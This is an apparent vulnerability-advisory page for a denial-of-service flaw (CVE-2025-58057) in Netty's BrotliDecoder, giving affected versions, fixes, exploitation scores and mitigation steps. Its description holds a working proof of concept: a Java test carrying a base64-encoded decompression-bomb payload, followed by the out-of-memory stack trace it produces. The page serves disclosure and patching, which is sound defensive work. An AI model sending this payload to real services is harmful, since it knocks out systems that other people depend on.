NIST deprecates RSA-2048 from 2030. Find every one of them before attackers do.
☕ Maven
Not in CISA KEV

Netty's decoders vulnerable to DoS via zip bomb style attackGHSA-3p8m-j85q-pgmj

Fix: netty/netty@9d804c5

GHSA-3p8m-j85q-pgmj is a CWE-409 vulnerability in io.netty:netty-codec-compression. A fix is available for io.netty:netty-codec-compression — see the affected versions and patch details below.

Also known asCVE-2025-58057
Published
Updated
Affected
2 pkgs
Patched
2 / 2
Exploits
None indexed
Exploitation data as of Nov 10, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.

Exploitation and automatability from CISA’s SSVC triage for GHSA-3p8m-j85q-pgmj.

EPSS Exploitation Probability

via FIRST.org ↗
0.6%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs51th percentile — riskier than 51% of all scored CVEsHighest risk
0.00%0.38%0.75%1.13%0.1%0.6%May 26Sep 26Nov 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

Real-World Exposure

2 pkgs affected
☕io.netty:netty-codec-compression☕io.netty:netty-codec

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Maven packages — download data is not available via public APIs for these ecosystems.

Description

Summary

With specially crafted input, BrotliDecoder and some other decompressing decoders will allocate a large number of reachable byte buffers, which can lead to denial of service.

Details

BrotliDecoder.decompress has no limit in how often it calls pull, decompressing data 64K bytes at a time. The buffers are saved in the output list, and remain reachable until OOM is hit. This is basically a zip bomb.

Tested on 4.1.118, but there were no changes to the decoder since.

PoC

Run this test case with -Xmx1G:

import io.netty.buffer.Unpooled;
import io.netty.channel.embedded.EmbeddedChannel;

import java.util.Base64;

public class T {
    public static void main(String[] args) {
        EmbeddedChannel channel = new EmbeddedChannel(new BrotliDecoder());
        channel.writeInbound(Unpooled.wrappedBuffer(Base64.getDecoder().decode("aPpxD1tETigSAGj6cQ8vRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROMBIAEgIaHwBETlQQVFcXlgA=")));
    }
}

Error:

Exception in thread "main" java.lang.OutOfMemoryError: Cannot reserve 4194304 bytes of direct buffer memory (allocated: 1069580289, limit: 1073741824)
	at java.base/java.nio.Bits.reserveMemory(Bits.java:178)
	at java.base/java.nio.DirectByteBuffer.<init>(DirectByteBuffer.java:121)
	at java.base/java.nio.ByteBuffer.allocateDirect(ByteBuffer.java:332)
	at io.netty.buffer.PoolArena$DirectArena.allocateDirect(PoolArena.java:718)
	at io.netty.buffer.PoolArena$DirectArena.newChunk(PoolArena.java:693)
	at io.netty.buffer.PoolArena.allocateNormal(PoolArena.java:213)
	at io.netty.buffer.PoolArena.tcacheAllocateNormal(PoolArena.java:195)
	at io.netty.buffer.PoolArena.allocate(PoolArena.java:137)
	at io.netty.buffer.PoolArena.allocate(PoolArena.java:127)
	at io.netty.buffer.PooledByteBufAllocator.newDirectBuffer(PooledByteBufAllocator.java:403)
	at io.netty.buffer.AbstractByteBufAllocator.directBuffer(AbstractByteBufAllocator.java:188)
	at io.netty.buffer.AbstractByteBufAllocator.directBuffer(AbstractByteBufAllocator.java:179)
	at io.netty.buffer.AbstractByteBufAllocator.buffer(AbstractByteBufAllocator.java:116)
	at io.netty.handler.codec.compression.BrotliDecoder.pull(BrotliDecoder.java:70)
	at io.netty.handler.codec.compression.BrotliDecoder.decompress(BrotliDecoder.java:101)
	at io.netty.handler.codec.compression.BrotliDecoder.decode(BrotliDecoder.java:137)
	at io.netty.handler.codec.ByteToMessageDecoder.decodeRemovalReentryProtection(ByteToMessageDecoder.java:530)
	at io.netty.handler.codec.ByteToMessageDecoder.callDecode(ByteToMessageDecoder.java:469)
	at io.netty.handler.codec.ByteToMessageDecoder.channelRead(ByteToMessageDecoder.java:290)
	at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:444)
	at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420)
	at io.netty.channel.AbstractChannelHandlerContext.fireChannelRead(AbstractChannelHandlerContext.java:412)
	at io.netty.channel.DefaultChannelPipeline$HeadContext.channelRead(DefaultChannelPipeline.java:1357)
	at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:440)
	at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420)
	at io.netty.channel.DefaultChannelPipeline.fireChannelRead(DefaultChannelPipeline.java:868)
	at io.netty.channel.embedded.EmbeddedChannel.writeInbound(EmbeddedChannel.java:348)
	at io.netty.handler.codec.compression.T.main(T.java:11)

Impact

DoS for anyone using BrotliDecoder on untrusted input.

Affected Packages

2 total 2 fixed
EcosystemPackageVulnerable rangeFix
☕Mavenio.netty:netty-codec-compression≥ 4.2.0.Alpha1&&< 4.2.5.Final4.2.5.Finalio.netty:netty-codec-compression:4.2.5.Final
☕Mavenio.netty:netty-codecall versions4.1.125.Finalio.netty:netty-codec:4.1.125.Final

Affected Products

1 product · 2 configurations
Application
nettynetty
≥ 4.2.0 && < 4.2.5
range

Detection & mitigation playbook

Open-source dependency

  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for io.netty:netty-codec-compression, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update io.netty:netty-codec-compression to 4.2.5.Final or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-3p8m-j85q-pgmj is resolved across your whole dependency graph.

  3. Workarounds

    Cap what an attacker can consume: apply request size, rate and timeout limits in front of the affected component, and run it with memory and CPU limits so exhaustion degrades one worker rather than the whole service.

Fixing This On Your OS

If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.

Red HatModerate

This vulnerability is rated Moderate for Red Hat products. A flaw in Netty's BrotliDecoder and other decompression decoders can lead to a denial of service when processing specially crafted input. This affects various Red Hat products that utilize Netty for network communication and data decompression. Using…

Workaround published by Red Hat
Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base or stability.
Source: Red Hat security advisory for GHSA-3p8m-j85q-pgmj (CC BY 4.0)
ProductFixed inAdvisory
Red Hat build of Quarkus 3.15.7netty-codecRHSA-2025:17187
Red Hat build of Quarkus 3.20.3.redhatio.netty/netty-codec:4.1.127.Final-redhat-00001RHSA-2025:17563
Red Hat JBoss EAP XP 5.0 Update 4.0netty-codecRHSA-2026:3951
Streams for Apache Kafka 2.9.3see advisoryRHSA-2025:19077
Streams for Apache Kafka 3.1.0netty-codecRHSA-2025:23417

Frequently Asked Questions

### Summary With specially crafted input, `BrotliDecoder` and some other decompressing decoders will allocate a large number of reachable byte buffers, which can lead to denial of service. ### Details `BrotliDecoder.decompress` has no limit in how often it calls `pull`, decompressing data 64K bytes at a time. The buffers are saved in the output list, and remain reachable until OOM is hit. This is basically a zip bomb. Tested on 4.1.118, but there were no changes to the decoder since. ### PoC Run this test case with `-Xmx1G`: ```java import io.netty.buffer.Unpooled; import io.netty.chann
O3 Security · Impact-Aware SCA

Is GHSA-3p8m-j85q-pgmj in your dependencies?

Find it across Maven, including transitive dependencies.

Scan my dependencies How O3 SCA works
Netty's decoders vulnerable to DoS via zip bomb style…